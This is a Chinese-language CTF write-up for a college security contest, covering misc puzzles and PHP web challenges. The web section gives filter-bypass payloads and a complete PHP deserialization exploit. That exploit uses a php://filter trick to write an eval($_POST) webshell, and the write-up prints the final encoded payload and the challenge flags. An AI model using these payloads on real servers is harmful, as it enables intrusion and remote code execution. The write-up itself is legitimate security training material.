WP光电信息学院2023年网络安全季度挑战赛
签个到就跑WP
Misc
MISC-没爱了,下一个
下载附件压缩包解压之后,获得一个流量包文件
使用wireShark打开流量包,Ctrl + F 搜索flag{
即可获得flag
flag{Good_b0y_W3ll_Done}
MISC-送你一朵小花花
下载附件压缩包解压之后,获得一个JPG图片文件
用010打开查看,在文件尾部发现Unicode编码
使用随便一个在线解Unicode编码的网站解密https://c.runoob.com/front-end/3602/
即可获得flag
key{you are right}
MISC-镜子里面的世界
考察LSB隐写
flag{st3g0_saurus_wr3cks}
Web
WEB_workhard
参考博客:
- http://t.csdnimg.cn/GzmwA
- https://www.cnblogs.com/baifan2618/p/7815090.html
- https://www.jianshu.com/p/f6447e2e35e3
打开后什么也没有,查看源代码,发现一个txt,访问后发现php代码。典型的代码审计,考查了几个函数
- -eregi
eregi — 不区分大小写的正则表达式匹配
int eregi( string $pattern, string $string[, array &$regs] )
本函数和 ereg() 完全相同,只除了在匹配字母字符时忽略大小写的区别。
Example #1 eregi() 例子
<?php
$string = 'XYZ';
if (eregi('z', $string)) {
echo "'$string' contains a 'z' or 'Z'!";
}
?>
2.strlen()计算字符长度。
3.file_get_contents(),将文本以字符串的形式输出。
4.stripos — 查找字符串首次出现的位置(不区分大小写)
if(!$_GET['id'])//id不能为零
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))//a中不能有点
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');//a要为一个文件,并且这个文件要有 “1112 is a nice lab!”这句话
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 /*b要长度大于5*/and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4/*第一个数字不能为4*/)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
所以题的大致意思就是,传递三个参数,id不能为零,但是要等于零,a要为一个文件,并且这个文件要有 “1112 is a nice lab!”这句话,b要长度大于5,第一个数字不能为4。
- id这个绕过需要用弱类型来解决 id=‘a’
- a这个绕过需要用到php伪协议,a=php://input或者 a=data:,1112 is a nice lab!
- b这个绕过需要用到%00截断,当eregi这个函数遇到%00时,就不会再继续比较了。
- 给出payload,体会一下
然后获得flag
WEB_login_wc
注册一个admin管理员账号登录即可
WEB_simple_ser
参考:https://zhuanlan.zhihu.com/p/51628607
查考php反序列化,任意文件写入,函数绕过
1.打开题目进行源码审计,通过代码可以看出考点应为反序列化的漏洞,通过fileput函数,进行文件的写入
<?php
class cls1{
var $cls;
var $arr;
function show(){
show_source(__FILE__);
}
function __wakeup(){
foreach($this->arr as $k => $v){
echo $this->cls->$v;
}
}
}
class cls2{
var $filename = 'hello.php';
var $txt = '';
function __get($key){
if($key == 'fileput'){
return $this->fileput();
}else{
return '<p>'.htmlspecialchars($key).'</p>';
}
}
function fileput(){
if( strpos($this->filename,'../') !== false ||
strpos($this->filename,'\\') !== false
) die();
$content = '<?php die(\'stupid\'); ?>';
$content .= $this->txt;
file_put_contents($this->filename, $content);
return htmlspecialchars($content);
}
}
if(!empty($_POST)){
$cls = base64_decode($_POST['ser']);
$instance = unserialize($cls);
}else{
$a = new cls1();
$a->show();
}
2.构造反序列化代码
<?php
class cls1{
var $cls;
var $arr;
function __construct(){
$this->cls = new cls2();
$this->arr = array('fileput'=>'fileput');
}
}
class cls2{
var $filename = 'e.php';
var $txt = '<?php phpinfo();';
}
print_r(base64_encode(serialize(new cls1())));
3.使用该代码传入post的ser参数,可以在服务器当前目录下生成e.php文件,但是应为程序会写入die()函数,所以 并没有执行我们构造的代码
4.我们可以通过使用php://filter来绕过这个限制,这里也可以使用其他方法。
利用php://filter/write=convert.base64-decode/resource=e.php
就可以以base64的形式向写入e.php。这样就可以将前面的die变成无效字符,从而执行我们想执行的代码
- 具体payload如下
<?php
class cls1{
var $cls;
var $arr;
function __construct(){
$this->cls = new cls2();
$this->arr = array('fileput'=>'fileput');
}
}
class cls2{
var $filename ;
var $txt;
function __construct(){
$this->filename = 'php://filter/write=convert.base64-decode/resource=e.php';
$this->txt = '<?php @eval($_POST["1"]);';
$this->txt = base64_encode($this->txt);
}
}
print_r(base64_encode(serialize(new cls1())));
Tzo0OiJjbHMxIjoyOntzOjM6ImNscyI7Tzo0OiJjbHMyIjoyOntzOjg6ImZpbGVuYW1lIjtzOjU1OiJwaHA6Ly9maWx0ZXIvd3JpdGU9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWUucGhwIjtzOjM6InR4dCI7czo0MDoiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lKcFkzRnBZM0VpWFNrNyI7fXM6MzoiYXJyIjthOjE6e3M6NzoiZmlsZXB1dCI7czo3OiJmaWxlcHV0Ijt9fQ==
6.然后webshell连接工具连上,就可以在根目录看到flag了